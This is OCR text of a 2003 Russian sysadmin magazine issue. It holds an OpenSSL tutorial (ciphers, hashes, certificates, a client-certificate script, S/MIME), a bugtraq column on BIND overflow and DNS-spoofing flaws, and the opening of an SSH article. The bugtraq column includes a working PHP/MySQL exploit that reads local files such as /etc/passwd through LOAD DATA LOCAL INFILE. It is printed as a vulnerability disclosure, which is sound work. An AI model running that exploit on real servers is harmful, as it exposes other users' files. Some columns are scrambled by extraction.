Для выполнения симметрического шифрования используется утилита openssl enc -cipher или её сокращённая запись openssl cipher, где cipher – это одно из символических имён симметрических шифров. Наиболее популярными являются следующие: ! base-64 (преобразование в текстовый вид); ! bf (blowfish – 128 бит); ! des (56 бит); ! des3 (168 бит); ! rc4 (128 бит); ! rc5 (128 бит); ! rc2 и idea (128 бит). Для указания входного и выходного файлов используются опции -in и -out соответственно. Пароль для шифрования вводится с клавиатуры (можно указать в командной строке параметром -k, но это очень плохо по соображениям безопасности, так как большинство шелов умеют сохранять историю командной строки, на мой взгляд, намного лучше ввести пароль непосредственно перед шифрованием). Учтите, что пароль не спрашивается при обработке файла base64, так как шифрования не происходит. Для расшифровки зашифрованных данных примените openssl cipher с опцией -d (алгоритм шифрования и дешифрования должен совпадать!), а для одновременной обработки данных base64 можно воспользоваться опцией -a. Шифрование по умолчанию происходит с подмешиванием (подсолением), для выбора алгоритма подмешивания используется случайная соль (salt), поэтому, если вы шифруете один и тот же файл в разное время одним и тем же алгоритмом и паролем, то результаты скорее всего будут разными (это затрудняет атаку по словарю). Также по умолчанию используется cbc режим алгоритмов, когда ключ меняется в течение всего сеанса работы согласно передаваемым данным. Приведу несколько примеров: ! зашифруем файл, используя алгоритм des3: # openssl des3 -in file -out file.des3

! расшифруем полученный файл: # openssl des3 -d -in file.des3 out file

21


администрирование ! зашифруем файл, используя алго- но применяются sha1 или md5). ритм blowfish(bf), и закодируем base64: # openssl bf -a -in file -out file.bf64

! теперь расшифруем его и обработаем сразу же base64: # openssl bf -a -d -in file.bf64 -out file

Для вычисления хешей используется команда openssl dgst -hashalg или краткая форма openssl hashalg (первая команда может также выполнять манипуляции с ЭЦП, но об этом далее). Обычное использование данной команды таково openssl hashalg [-c] file[s]. Вычисляется хеш сообщения фиксированной длины в виде одной строки или, если указана опция -c, строки, разделённой на пары HEX чисел двоеточием. Среди алгоритмов хеширования могут применяться следующие: ! md2 (128 бит); ! md4 (128 бит); ! md5 (128 бит); ! mdc2 (128 бит); ! sha (160 бит); ! sha1 (160 бит); ! ripemd160 (160 бит).

!

Опять же приведу пару примеров: вычислим md5 хеш файла: # openssl md5 -c file MD5(file)= 81:fd:20:ff:db:06:d5:2d:c3:55:b5:7d:3f:37:ac:94

! а теперь SHA1 хеш этого же файла: # openssl sha1 file SHA1(file)= 13f2b3abd8a7add2f3025d89593a0327a8eb83af

Как я уже говорил, утилита openssl dgst может использоваться для подписывания сообщения секретным ключом и проверки ЭЦП публичным ключом. Для этого используется следующий синтаксис: openssl dgst -sign private_key -out signature -hashalg file[s]

Подписывание file с помощью секретного ключа private_key, используя алгоритм хеширования hasalg (обыч-

22

openssl dgst -signature signature -verify public_key file[s]

Проверка подписи в file, используя публичный ключ public_key и ЭЦП signature. Данная программа выводит «Verification OK» при правильной подписи или «Verification Failure» в любом другом случае. Учтите, что ЭЦП в таком случае хранится отдельно от файла, который ею подписан. Для шифрации и дешифрации RSA алгоритмом используется программа rsautl. Данная утилита имеет также возможность подписывать и проверять подпись сообщений (однако работать всё равно приходится с хешем сообщения, так как подписывать можно только небольшой объём данных, поэтому лучше применять openssl dgst). Для шифрации/дешифрации используется следующий синтаксис: openssl rsautl -in file -out file.cr -keyin pubkey.pem -pubin -encrypt

Шифрация file с использованием публичного ключа pubkey.pem. openssl rsautl -in file.cr -out file -keyin secretkey.pem -decrypt

Дешифрация file.cr с использованием секретного ключа secretkey.pem. Теперь настало время рассказать об одном из главных применений openssl – управление сертификатами. Openssl имеет возможность генерировать сертификаты, управлять ЭЦП и шифрованием с помощью сертификатов. Однако применение утилит управления сертификатами – достаточно сложная задача. Поэтому для начала я дам общие представления о сертификатах. Сертификат содержит публичный ключ, подписанный одним из корневых доверенных центров сертификации (или комплементарным секретным ключом), данные об организации, выдавшей сертификат, и в некоторых случаях зашифрованный секретный ключ, а также отпечаток (хеш) публичного ключа. Сертификаты имеют время действия, по окончании которого они автоматически считаются недействительными, иерархия сертификатов обычно строится на основа-

нии сети доверия (бывают довольно длинные цепочки сертификатов, ведущие к доверенному ключу из root CA). Таким образом, сертификат – это полный комплекс системы асимметрического шифрования, предоставляющий гораздо больше возможностей, чем сами по себе ключи (а также являющийся более защищённой системой). Основным привлекательным моментом сертификата является возможность записи в него информации об организации, этот ключ выдавшей. Таким образом, явно напрашивается применение собственной системы сертификации в данной организации. Можно, например, выдавать сотрудникам их персональные сертификаты, подписанные сертификатом организации (его можно сгенерировать самому или получить от сторонней компании). Причём эти сертификаты впоследствии можно использовать для удостоверения личности сотрудника, например, при почтовой переписке или аутентификации на httpсервере (apache+ssl). Единственное условие, которое должно выполняться, – это наличие на машине клиента сертификата организации в списке корневых доверенных ключей. Общее содержание сертификатов определено стандартом x509, в то время как форматы записей сертификатов могут внести некоторую путаницу. Openssl по умолчанию использует формат PKCS#10, Microsoft использует по умолчанию формат PKCS#12 (в руководстве по openssl этот формат охарактеризован как один большой баг), формат PKCS#7 используется для запросов на сертификацию к CA (центр сертификации) и не может содержать секретного ключа, также для этой цели может использоваться DERзакодированный сертификат (DER-кодирование подобно кодированию base64, но имеет специальное назначение для использования в криптографических системах) также без секретного ключа. Учтите, что при использовании DER-формата убираются маркеры начала и конца сертификата, а его содержимое кодируется base64, поэтому в файле DER можно хранить только один сертификат, с другой стороны DER-сертификаты поддерживаются M$ (стандартное расширение .cer), поэтому иногда бывает нужно преобразовать сертификаты из одного формата в другой (я здесь имею в виду PEM или DER):


администрирование PEM—>DER openssl x509 -inform PEM -in cert.pem -outform DER -out cert.cer DER—>PEM openssl x509 -inform DER -in cert.cer -outform PEM -out cert.pem

Таким же образом можно конвертировать и ключи асимметрического шифрования (используя утилиты rsa или dsa). Думаю, что не сильно запутал вас всеми этими стандартами. Если объяснять на пальцах, то всё выглядит следующим образом: клиент создаёт сертификат и отправляет свой публичный сертификат (PKCS#7) в центр сертификации. В центре сертификации обрабатывается запрос клиента (запрос на сертификацию), и сертификат клиента подписывается секретным ключом центра сертификации. Клиент, имея публичный ключ центра сертификации, проверяет подлинность подписи и может далее использовать свой сертификат. Для организации можно предложить следующее решение: на сервере создаётся сертификат организации; генерируется запрос на сертификацию и отправляется к некоему доверенному центру сертификации (который будет известен всем клиентам и персоналу данной организации); получается сертификат организации, который можно использовать при создании сертификатов клиентов. Последние создаются так: клиент посылает запрос на выдачу сертификата; сервер создаёт сертификат клиента и подписывает его сертификатом организации; клиент получает сертификат клиента и сертификат организации; после проверки достоверности ключа организации (предполагается, что клиент доверяет CA, которым был подписан сертификат организации) проверяется достоверность сертификата клиента. После такой операции клиент будет точно уверен, что получил сертификат от данной организации и может его использовать для работы с ней. По такой схеме построены все центры выдачи сертификатов (правда зачастую сертификат организации бывает подписан самим собой, что требует от клиента добавить сертификат организации к доверенным, а в первой схеме сертификат организации принадлежит к группе промежуточных центров сертификации, и этот случай предпочтительнее с точки зре-

№1(2), январь 2003

ния безопасности и удобства клиента, но требует больше работы от администратора). Да, хорошенькое объяснение на пальцах! Но что тут поделать: сертификаты – это довольно запутанная вещь. Сейчас я объясню, как создавать сертификаты с помощью openssl и приведу пример только что описанного безобразия... Для создания сертификата используется инструмент openssl req. Он имеет довольно много параметров, поэтому, чтобы не парить мозги, я просто приведу пару примеров его использования. Для начала требуется конфигурационный файл, который имеет следующий формат (все строки, начинающиеся с # – это мои комментарии, в конечном файле их может и не быть): [ req ] # Секция основных опций default_bits = 2048 # Число бит default_keyfile = keyfile.pem # Имя ключа, используемого для # сертификата distinguished_name = req_distinguished_name # DN организации, выдавшей # сертификат prompt = no # Брать параметры из конфига # неинтерактивный режим [ req_distinguished_name ] # DN организации C=RU # Страна ST=Ivanovskaya # Область L=Gadukino # Город O=Krutie parni # Название организации OU=Sysopka # Название отделения CN=Your personal certificate # Имя для сертификата (персоны, # получающей сертификат) emailAddress=certificate@gaduk.ru # Мыло организации

Если не указывать prompt no, то значения для параметров будут считаны в интерактивном режиме (то бишь с клавиатуры), а значения параметров будут являться подсказками при вводе данных. При интерактивном режиме можно указывать значения по умолчанию, а также минимальное и максимальное значения для параметров (для строковых параметров устанавливается ограничение на длину). В таком случае общий формат параметра таков: имя = подсказка имя_default = значение_по_умолчанию имя_max = максимум имя_min = минимум

Пример интерактивного файла конфигурации: [ req ] default_bits = 1024 default_keyfile = privkey.pem distinguished_name = req_distinguished_name [ req_distinguished_name ] countryName = Country Name (2 letter code) countryName_default = RU countryName_min = 2 countryName_max = 2 localityName = Locality Name (eg, city) organizationName = Organization Name( eg, org) organizationalUnitName = Organizational Unit Name (eg, section) commonName = Common Name (eg, YOUR name) commonName_max = 64 emailAddress = Email Address emailAddress_max = 40

Спешу обрадовать некоторых ленивых товарищей: если вы намереваетесь создавать просто сертификат сервера (например, для LDAP-сервера), то указывать конфиг необязательно, будет использоваться конфиг по умолчанию /usr/lib/ssl/openssl.cnf, который содержит всё необходимое. Ну а теперь традиционно приведу примеры использования openssl req (я не собираюсь подробно описывать данную команду, так как думаю, что для большинства случаев хватит примеров, а для особых случаев можно почитать man req). openssl req -new -newkey rsa:2048 -keyout rsa_key.pem -config cfg -out certreq.pem

Создание запроса на сертификацию (-new) на основе создаваемого секретного ключа rsa (-newkey rsa:2048), который записывается в файл -keyout (и шифруется тройным DES). Запрос на сертификацию создаётся на основе конфигурационного файла-config. openssl req -x509 -new -key private_key.pem -config cfg -out selfcert.pem -days 365

Создание (-new) self-signed сертификата (-x509) для использования в качестве сертификата сервера или сертификата CA. Сертификат создаётся с использованием секретного ключа -key и конфигурационного файла -config. Создаваемый сертификат будет действителен в течение 365 дней (-days), опция -days не применима к запросам на сертификацию.

23


администрирование Для управления сертификатами x509 используется утилита openssl x509. С её помощью можно подписать сертификат или запрос на сертификацию сертификатом CA. Также можно просмотреть содержимое сертификата в читаемой форме (DN, публичный ключ, время действия, отпечаток и т. д.). Приведу примеры вышеописанных действий: openssl x509 -in cert.pem -noout -text

Просмотреть информацию о сертификате в «нормальной» форме. Вот что примерно будет выведено, также можно использовать дополнительные опции: -fingerprint (необходимо сочетать с одной из опций -sha1, -md5 или -mdc2), -modulus (вывод публичного ключа), -serial, -subject, -issuer (организация, выдавшая сертификат), email, -startdate, -enddate:

Подписать запрос на сертификацию (-req) файла -in, используя доверенный CA сертификат -CA и его секретный ключ -CAkey. В конечный сертификат клиента (-out) записываются дополнительные параметры сертификата третьей версии из файла /usr/lib/ssl/openssl.cnf (конфигурационный файл по умолчанию). Но об этом я расскажу после на конкретном примере. Такое поведение x509 позволяет организовать свой центр сертификации, подписывающий запросы клиентов на сертификацию. openssl x509 -in CAcert.pem -addtrust sslclient -alias «myorganization CA» \ -out CAtrust.pem

Преобразование сертификата -in в доверенный сертификат для использования в SSL клиентах (sslserver – использование в качес тве сертификата сервера, emailProtection – использование в

Certificate: Data: Version: 3 (0x2) Serial Number: 0 (0x0) Signature Algorithm: md5WithRSAEncryption Issuer: C=RU, ST=region, L=city, O=organization, OU=Sysopka, CN=CEBKA/Email=CEBKA@smtp.ru Validity Not Before: Nov 9 08:51:03 2002 GMT Not After : Nov 9 08:51:03 2003 GMT Subject: C=RU, ST=region, L=city, O=organization, OU=Sysopka,

качестве сертификата S/MIME). Я ещё раз хотел бы вернуться к проблеме построения CA. Для использования внутри организации можно взять self-signed сертификат, но для использования СА вне организации приходится брать сертификаты, выданные или подписанные сторонней организацией. Во втором случае возникает проблема выбора такой сторонней организации (она легко разрешается для дочерних компаний), которая требует юридического анализа (в разных странах существуют свои законы криптографии и поэтому дать какой-либо конкретный совет я не могу). Если вам довелось работать в российской правительственной компании, то считайте, что вам не повезло – использовать openssl для работы с правительственными организациями нельзя. Наши уважаемые государственные деятели добавили кучу проблем админам, разрешив использовать только алгоритмы ГОСТ (симметрические, асимметрические, хеширования – меня просто выворачивает от самого этого слова ГОСТ), поэтому использовать вам придётся только специальные программы, реализующие эти алгоритмы. Я же приведу здесь пример построения собственного CA с self-signed сертификатом: ! Генерируем секретный ключ:

CN=CEBKA/Email=CEBKA@smtp.ru Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:c6:6b:3b:8e:f8:33:05:a0:dc:e1:38:8f:6a:68: 42:1c:21:33:aa:90:b6:8c:93:14:11:9b:69:94:8a: 3a:0e:42:29:b0:45:14:1b:f0:37:2c:f3:05:db:13: 06:a9:cd:eb:99:31:51:25:86:c8:69:e0:5e:8d:28: 04:8d:1f:08:37:d7:72:39:fe:05:57:61:68:95:bf: 5c:ae:13:f2:05:a1:29:c3:bf:3b:32:ca:1a:ff:22: 53:f9:32:92:78:fe:44:c3:e1:ca:42:5c:5f:d1:49: da:1c:9f:34:06:04:ee:46:74:8d:11:68:ef:37:e2: 74:1e:d9:46:04:b8:7e:d5:c5 Exponent: 65537 (0x10001) Signature Algorithm: md5WithRSAEncryption 3b:42:85:45:08:95:f3:f1:fc:8a:23:88:58:0e:be:e5:9b:56: 1e:c1:ff:39:28:4f:84:19:f8:3e:38:ef:98:34:d6:ee:e0:0a: de:36:3a:5c:15:88:d7:2a:a4:0a:d5:dc:3e:b2:72:4c:82:57: b8:fe:52:f6:e2:06:01:38:eb:00:0b:f2:a9:87:be:65:83:19: 13:50:ae:6c:f2:0a:07:14:e6:8c:60:cd:c5:a3:d1:e1:ea:da: 24:c2:6a:06:d5:dc:1c:71:c9:64:fa:9e:c9:ca:97:e2:06:84: de:4c:69:b8:9a:af:66:14:8d:46:9a:00:53:13:c9:ab:10:b8: 09:c2 openssl x509

24

-req -in clientreq.pem -extfile /usr/lib/ssl/openssl.cnf \ -extensions /usr/lib/ssl/openssl.cnf -CA CAcert.pem -CAkey serverkey.pem \ -CAcreateserial -out clientcert.pem

openssl genrsa -out CAkey.pem -rand randfile -des3 4096

! Создаём self-signed сертификат: openssl req -new -x509 -key CAkey.pem -out CAcert.pem -days 365 -config cfg

Содержимое конфигурационного файла зависит от организации, можно даже воспользоваться утилитой /usr/lib/ssl/misc/CA.pl -newcert, которая создаст ключ и сертификат в одном файле в интерактивном режиме (хотя мне этот вариант не очень понравился, лучше один раз написать нормальный конфиг) – о дополнительных требованиях к конфигурации CA сертификата смотри ниже. ! Генерируем клиентские сертификаты, например, как приведено ниже:


администрирование #!/bin/bash dd if=/dev/random of=/tmp/.rnd count=64 RAND="/var/log/messages:/boot/vmlinuz:/tmp/.rnd" REQ="openssl req" X509="openssl x509" RSA="openssl rsa" GENRSA="openssl genrsa" O="company" C="RU" ST="region" L="city" PURPOSES="digitalSignature, keyEncipherment" CERTTYPE="client, email, objsign" CA="/etc/openssl/CAcert.pem" CAkey="/etc/openssl/CAkey.pem" OUTDIR="/etc/openssl/clientcert/" CN="client" BITS=2048 DAYS=365 #Создаём секретный ключ во временной папке БЕЗ шифрования TMP="/tmp/ssl-$$" mkdir $TMP if [ ! -d $OUTDIR ];then mkdir $OUTDIR fi pushd $TMP > /dev/null $GENRSA -rand $RAND -out tmp.key $BITS # Создаём конфиг для клиента cat > cfg <<EOT [ req ] default_bits = $BITS distinguished_name = req_DN extensions = v3_req [ req_DN ] countryName = "1. Country Name countryName_default = "$C" countryName_min = 2 countryName_max = 2 stateOrProvinceName = "2. State or Province Name stateOrProvinceName_default = "$ST" localityName = "3. Locality Name localityName_default = "$L" 0.organizationName = "4. Organization Name 0.organizationName_default = "$O" organizationalUnitName = "5. Organizational Unit Name organizationalUnitName_default = "$OU" commonName = "6. Common Name commonName_max = 64 commonName_default = "$CN" emailAddress = "7. Email Address emailAddress_max = 40 emailAddress_default = "" [ v3_req ] basicConstraints = CA:FALSE keyUsage = $PURPOSES nsCertType = $CERTTYPE EOT # Создаём запрос на сертификацию $REQ -new -key tmp.key -config cfg -rand $RAND -out $CN.pem # Этот файл лучше удалить побыстрее: мало ли чего... rm -fr /tmp/.rnd if [ $? -ne 0 ]; then echo "Failed to make a certificate due to error: $?" popd > /dev/null rm -fr $TMP exit $? fi # Подписываем сертификат сертификатом сервера

(2 letter code)"

(full name)

"

(eg, city)

"

(eg, company)

"

(eg, section)

"

(eg, CA name)

"

openssl pkcs12 -export -in client.pem -inkey client-key.pem -out client.p12 \ -name "Client certificate from our organization"

(eg, name@FQDN)"

$X509 -req -in $CN.pem -CA $CA -CAkey $CAkey \ -extfile cfg -days $DAYS -out $OUTDIR$CN.pem chmod 0400 $OUTDIR$CN.pem chown root:root $OUTDIR$CN.pem # Шифруем секретный ключ $RSA -in tmp.key -des3 -out $OUTDIR$CN-key.pem chmod 0400 $OUTDIR$CN-key.pem chown root:root $OUTDIR$CN-key.pem # Выполняем заключительные действия popd > /dev/null rm -fr $TMP echo -e "Generation complete, go to $OUTDIR and give to client $CN his certificate and \ \n private key(for windows users you should use openssl pkcs12 utility)"

№1(2), январь 2003

Дополнительные свойства, описанные в скрипте (v3_req), означают, что клиент может использовать сертификат для подписывания и шифрации, но его сертификат не является CA-сертификатом. Для CA-сертификата значение basicConstraits должно быть равно CA:TRUE (об этом забывать нельзя!). Поле nsCertType определяет дополнительные назначения данного ключа (для использования в качестве клиента, подписывания, использования в почтовых сообщениях). Для CA-сертификатов обычно применяют следующие значения nsCertType: sslCA, emailCA. Для ssl ключей серверов (например, апача) используется значение nsCertType = server. Полученный таким образом сертификат клиента будет содержать информацию о поставщике сертификата (то есть о вашем сертификате организации). Клиенту необходимо будет передать его сертификат, его секретный ключ (зашифрованный!) и ваш сертификат организации. Для клиентов Microsoft необходимо ещё и перевести сертификаты в формат PKCS#12. Для этого воспользуемся командой openssl pkcs12:

Для обратного преобразования используется синтаксис: openssl pkcs12 -in client.p12 -out client.pem

В выходной файл записываются сертификат клиента, CA-сертификат, секретный ключ клиента (его можно зашифровать опцией -des3, -idea и т. д.). Такое поведение позволяет использовать для вывода только формат pem (маркеры здесь обязательны!). Для экспорта сертификата организации можно воспользоваться командой pkcs12 ( конечно же без параметра inkey), можно также обработать сертификат организации base64 и сохранить в файле .cer (openssl x509 -in CA.pem -outform DER -out CA.cer). В openssl существует компонент управления s/mime сообщениями, называющийся openssl smime. Данная

25


администрирование утилита позволяет зашифровывать, расшифровывать, управлять ЭЦП и MIME-заголовками писем. Приведу опять же несколько примеров её использования:

В таком случае необходимо применять smime следующим образом:

openssl smime -sign -in mail.txt -text -from CEBKA@smtp.ru -to \ user@mail.ru -subject "Signed message" -signer mycert.pem -inkey \ private_key.pem | sendmail user@mail.ru

PEM используется для стандартного формата PKCS#7, а DER заставляет произвести дополнительную обработку base64. Учтите, что в данном случае файл -in представляет собой только подпись (аттачмент), а -content – непосредственно текст

Подписывает сообщение -in (в текстовом виде) и подписывает (-sign) его с помощью сертификата (-signer) и секретного ключа (-inkey). Вывод идёт непосредственно к sendmail, для этого определены MIME-заголовки from, to и subject. openssl smime -verify -in mail.msg -signer user.pem -out signedtext.txt

Проверяет подпись в файле -in, записывает сообщение в файл -out, а полученный сертификат – в файл -signer (для проверки s/mime сообщения не требуется ничего, кроме него самого, так как ЭЦП s/mime содержит публичный ключ!). openssl smime -encrypt -in mail.txt -from CEBKA@smtp.ru -to user@mail.ru \ -subject "Encrypted message" -des3 user.pem | sendmail \ user@mail.ru

Шифрация файла -in с помощью сертификата получателя user.pem, используя алгоритм des3. Вывод программы посылается непосредственно в sendmail. openssl smime -decrypt -in mail.msg -recip mycert.pem -inkey private_key.pem \ -out mail.txt

Расшифровка файла -in с помощью секретного ключа -inkey и сертификата -recip (ваш собственный сертификат). Есть альтернатива не указывать smime-заголовки from, to и subject. Можно просто указать необходимый файл -out и добавить заголовки с помощью программы sendmail вручную. Кроме этого, есть ещё одна деталь использования smime: некоторые почтовые клиенты используют в качестве подписи вложение в формате PKCS#7 (чаще всего закодированное base64).

26

openssl smime -verify -inform [PEM | DER] -in signature.pem[der] -content \ mail.txt

письма. Можно также заставить smime подписывать сообщения подобным образом, если указать опцию -pk7out (PEM-формат). Для преобразования PKCS#7 структуры из формата PEM в формат DER можно воспользоваться утилитой openssl base64 (обратное преобразование достигается за счёт использования опции -d). Итак, думаю, что для большинства операций с использованием SSL этого будет достаточно.


bugtraq Несколько серьезных уязвимостей в BIND ISS X-Force обнаружил несколько серьезных уязвимостей в Berkeley Internet Name Domain Server (BIND). BIND – самое популярное выполнение DNS-протокола. Уязвимости, описанные в этой статье, затрагивают большинство рекурсивных DNS-серверов в Интернете. Успешная эксплуатация уязвимости позволяет атакующему получить полный контроль над уязвимой системой, а простота ее эксплуатации позволяет создавать быстро распространяющиеся сетевые черви. В этом случае уязвимость может негативно сказаться на работе всего Интернета в целом.

BIND SIG Cached RR Overflow Vulnerability Уязвимость, обнаруженная в механизме формирования DNS-ответов, содержащих SIG resource records (RR) (кэшируемая ресурсная запись), позволяет удаленному атакующему переполнить буфер и выполнить произвольный код.

ров, пытаясь получить ответы для каждого из запросов. В этом случае уязвимость может эксплуатироваться атакующим, который посылает одновременно n запросов к DNS-серверу, используя различные IP-адреса источника и то же самое имя домена. DNS-сервер пошлет все полученные запросы другим DNS-серверам, чтобы разрешить их. В результате этот сервер будет ожидать n ответов с различными идентификаторами для одного имени домена. Нападающий тогда посылает несколько ответов с различными идентификаторами на DNS-сервер адресата, пытаясь предположить один из ожидаемых идентификаторов ответа, тем самым применяя нападение DNS-имитации. Вероятность успеха DNS-имитации в BIND 4 и BIND 8 определяется уравнением: n-request-sent/65535, где n-request-sent – число запросов, посланных одновременно DNS-серверу. Уязвимость может использоваться для компромисса приложений, использующих DNS службу (типа SMTP, HTTP, LDAP, FTP, SSH). Уязвимость обнаружена в BIND 4.9.11, 8.2.7, 8.3.4.

BIND OPT DoS Клиент, запрашивающий DNS-поиск на несуществующем поддомене правильного имени домена, может завесить BIND 8, добавляя OPT-запись с большим UDP-пакетом.

BIND SIG Expiry Time DoS Нападающий, который управляет любым DNS-сервером, может завесить BIND-сервер, заставляя его обратиться к кэшу SIG RR элементов с недопустимыми временами истечения полномочий. Уязвимость обнаружена в BIND 8 до версии 8.3.3, BIND 4 до версии 4.9.10.

Возможность DNS имитации в BIND CAIS/RNP (Brazilian Research Network CSIRT) и Vagner Sacramento от DIMAp/UFRN (Отдел Информатики и Прикладной математики Федерального университета Rio Grande do Norte) провели эксперименты с несколькими версиями Internet Software Consortium’s (ISC), Berkeley Internet Name Domain (BIND), демонстрируя возможность успешной атаки DNS имитации (DNS Spoofing) в 4 и 8 версии программы. На сегодняшний день более 60% DNS-серверов используют уязвимые и старые версии BIND. Обнаруженная проблема показывает, что BIND не предотвращает посылку 2-х или более разрешающих запросов для одного и того же домена, тем самым позволяя нападения DNS-имитации с существенной вероятностью успеха. Принцип нападения состоит в том, чтобы ответить ложной информацией на запрос DNS-сервера, заставляя его записать в кэш ложный IP-адрес для некоторого домена. Чтобы лучше понять обнаруженную уязвимость, рассмотрим следующий сценарий. Когда n различных DNSклиентов посылают одновременные запросы DNS-серверу (BIND 4 или BIND 8), чтобы разрешить то же самое имя домена, целевой сервер отправит запросы к другим DNS-серверам, начинающимся с корневых серве-

№1(2), январь 2003

Чтение произвольных файлов в PHP + mySQL (локальный эксплоит) Атакующий может использовать PHP и mySQL, чтобы читать некоторые локальные файлы. Создайте базу данных (mySQL) и загрузите этот файл на сервер. PHP-код (viewfile.php): <? // config this data $dbhost = ""; $dbuser = ""; $dbpasswd = ""; $dbname = ""; $file = "/etc/passwd"; // filename that you wanna view // shell code echo "<pre>"; mysql_connect ($dbhost, $dbuser, $dbpasswd); $sql = array ("USE $dbname", 'CREATE TEMPORARY TABLE '. ($tbl = 'A'.time()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS ". "TERMINATED BY '__THIS_NEVER_HAPPENS__' ". "ESCAPED BY'' ". "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tbl LIMIT 1"); foreach ($sql as $statement) { $query = mysql_query ($statement); if ($query == false) die ("FAILED: " . $statement . "\n" . "REASON: " . mysql_error () . "\n"); if (! $r = @mysql_fetch_array ($query, MYSQL_NUM)) continue; echo htmlspecialchars($r[0]); mysql_free_result ($query); } echo " "; ?>

– вы загрузите содержание /etc/passwd. Уязвимость очень опасна, потому что пользователь может читать некоторые важные файлы на вашем сервере. Особенно это критично на бесплатных хостингах – уязвимость позволяет получить доступ к содержанию других пользователей.

27


администрирование

Ы.Ы.Р.

Когда стали широко использоваться алгоритмы шифрования при передаче данных в сети, одной из первых возникла задача организации безопасной оболочки. До этого существовала система rsh, которая позволяла определённым пользователям с определённых машин (между ними должны были быть доверительные отношения) работать на сервере с его оболочкой. Это практически то же самое, что и telnet-доступ. Но с развитием сетей стали видны вопиющие дыры rsh: данные, передаваемые через сеть, никак не шифруются, включая пароли; они, могут быть без проблем получены либо модифицированы третьей стороной; злоумышленник может спокойно подменить ip клиента и, используя полученный ранее хеш пароля, пройти аутентификацию на сервере со всеми вытекающими последствиями. Поэтому сейчас rsh применяется в чрезвычайно редких случаях, например, при переносе данных между двумя попарно соединёнными машинами (мне так пришлось работать с двумя машинами в разных комнатах). В основном стандартом де-факто стал ssh.

ВСЕВОЛОД СТАХОВ Первая буква «s» означает безопасный (secure), то есть все данные, передаваемые через ssh, шифруются, а значит, защищены от просмотра. Существует несколько версий протокола ssh, различающиеся используемыми алгоритмами шифрования и общими схемами работы. В настоящее время повсеместно используется протокол ssh версии 2. Протокол младших версий является по современным меркам небезопасным (там есть несколько очень опасных дыр). Вообщето сейчас ssh является коммерческим продуктом (что само по себе противоречит требованиям безопасности –

28

всем должен быть известен исходный код системы защиты информации, чтобы убедиться в отсутствии всяких backdoors), но тем не менее доступна свободная реализация ssh – OpenSSH, которая может быть найдена на www.openssh.com. Наилучшим документом по ssh является, по-моему, банальный man ssh, поэтому в некоторых местах я не постесняюсь его просто переводить. Итак, начнём, как обычно, с теории. SSH предоставляет 3 способа аутентификации клиента: по ip-адресу клиента (небезопасно), по публичному ключу клиента и стандартный

парольный метод. Вот как работает ssh версии 2: при запросе клиента сервер сообщает ему, какие методы аутентификации он поддерживает (это определяется в опции Preferred Authentications sshd.conf), и клиент по очереди пытается проверить их. По умолчанию клиент вначале пытается аутентифицироваться своим адресом, затем публичным ключом и, если ничего не сработало, передаёт пароль, введённый с клавиатуры (при этом пароль шифруется асимметрическим шифрованием). После прохождения аутентификации одним из методов из имеющихся у клиента и сервера пар


администрирование ключей генерируется ключ симметрического шифрования, который, как я описывал ранее (см. статью «Теория и практика OpenSSL»), генерируется на основании своих секретного и удалённого публичного ключей. После чего все последующие данные, передаваемые через ssh, шифруются данным ключом (обычно используется алгоритм aes с длиной ключа 128 бит). Отмечу, что протокол ssh версии 1 имел некоторые баги в шифрации передаваемого трафика и являлся, по сути, методом безопасной аутентификации, поэтому по современным меркам данный протокол считается небезопасным. Протокол версии 2 поддерживает более современные методы шифрования трафика, также вместе с данными посылаются контрольные суммы формата sha или md5, что исключает подмену или иную модификацию передаваемого трафика (чего не было у ssh версии 1). Теперь пару слов о способах аутентификации пользователей через ssh.

По адресу клиента При данном способе аутентификации происходит следующее: каждый клиент и сервер имеют свои пары ключей RSA, которые называются ключами хоста. При этом существует несколько методов проверки адреса клиента. Сервер смотрит файлы $HOME/.rhosts, $HOME/.shosts, /etc/hosts.equiv или /etc/ssh/shosts.equiv, если же сервер настроен на проверку ключей клиентов (а это нужно в соображениях безопасности, т.к. иначе злоумышленник может подменить ip-клиента на свой), то он дополнительно проверяет /etc/ ssh/ssh_known_hosts и $HOME/.ssh/ known_hosts. Естественно, что файлы, расположенные в домашних каталогах сервера, действуют на пользователя, в чьём каталоге они размещены, а файлы, расположенные в /etc, имеют глобальный эффект. Для начала расскажу о синтаксисе вышеперечисленных файлов: ! .rhosts – определяет адрес машины и имя пользователя, с которой данному пользователю открыт доступ (файл расположен в домашнем каталоге пользователя); ! .shosts – аналогичен .rhosts, но предназначен исключительно для ssh, поэтому использовать лучше

№1(2), январь 2003

именно данный файл. Пример .shhosts: user1.test.ru user1 userstend.test.ru user1 null.test.ru user1

! /etc/hosts.equiv – также содержит

!

пары имя машины/имя пользователя, но имеет эффект на всех пользователей; /etc/shosts.equiv – аналог hosts. equiv, но применяется только ssh, что также более предпочтительно. Пример файла: /etc/shhosts.equiv + user1.test.ru user1 – server.test.ru xakep

Знак «+» означает разрешение пользователю работать с сервером с данного адреса, знак «-» запрещает подобное действие. * /etc/ssh/ssh_known_hosts и $HOME/ .ssh/known_hosts

– данные файлы содержат список адресов и соответствующих им публичных ключей. При запросе клиента сервер генерирует рандомную строку и шифрует её публичным ключом удалённого хоста. Клиент, получив данную строку, расшифровывает её своим секретным ключом (который имеется только у него) и зашифровывает полученную строку ключом сервера. Сервер получает зашифрованное сообщение, расшифровывает своим секретным ключом и сравнивает с исходной. Если строки совпали, то клиент имеет валидный секретный ключ, что даёт ему право захода на данный сервер. Но для начала клиент должен иметь правильный адрес, которому соответствует публичный ключ на сервере в файле ssh_known_hosts. Файл состоит из 3-х полей: адрес (или адреса, разделённые запятой), публичный ключ для него одной (!) строкой и дополнительное поле комментариев (необязательно). Пример файла known_hosts: user1.test.ru {SOME_VERY_LONG_PUBLIC_KEY}

Адрес клиента должен быть в полном формате (name.domain), иначе могут быть проблемы. Кроме этого, в адресе можно использовать шаблоны «*» и «?». Публичные ключи вставляются в данный файл самим администратором из генерированных кли-

ентом ssh (identity.pub) публичных ключей. Вообще создание ssh_known_hosts – это прерогатива администратора (aka root). И ещё добавлю: при аутентификации по хосту лучше использовать ssh_known_hosts, т.к. этот метод достаточно безопасен, если публичные ключи клиентов были получены из доверенного источника. Другие методы аутентификации не исключают подмену адреса, и потому считаются небезопасными.

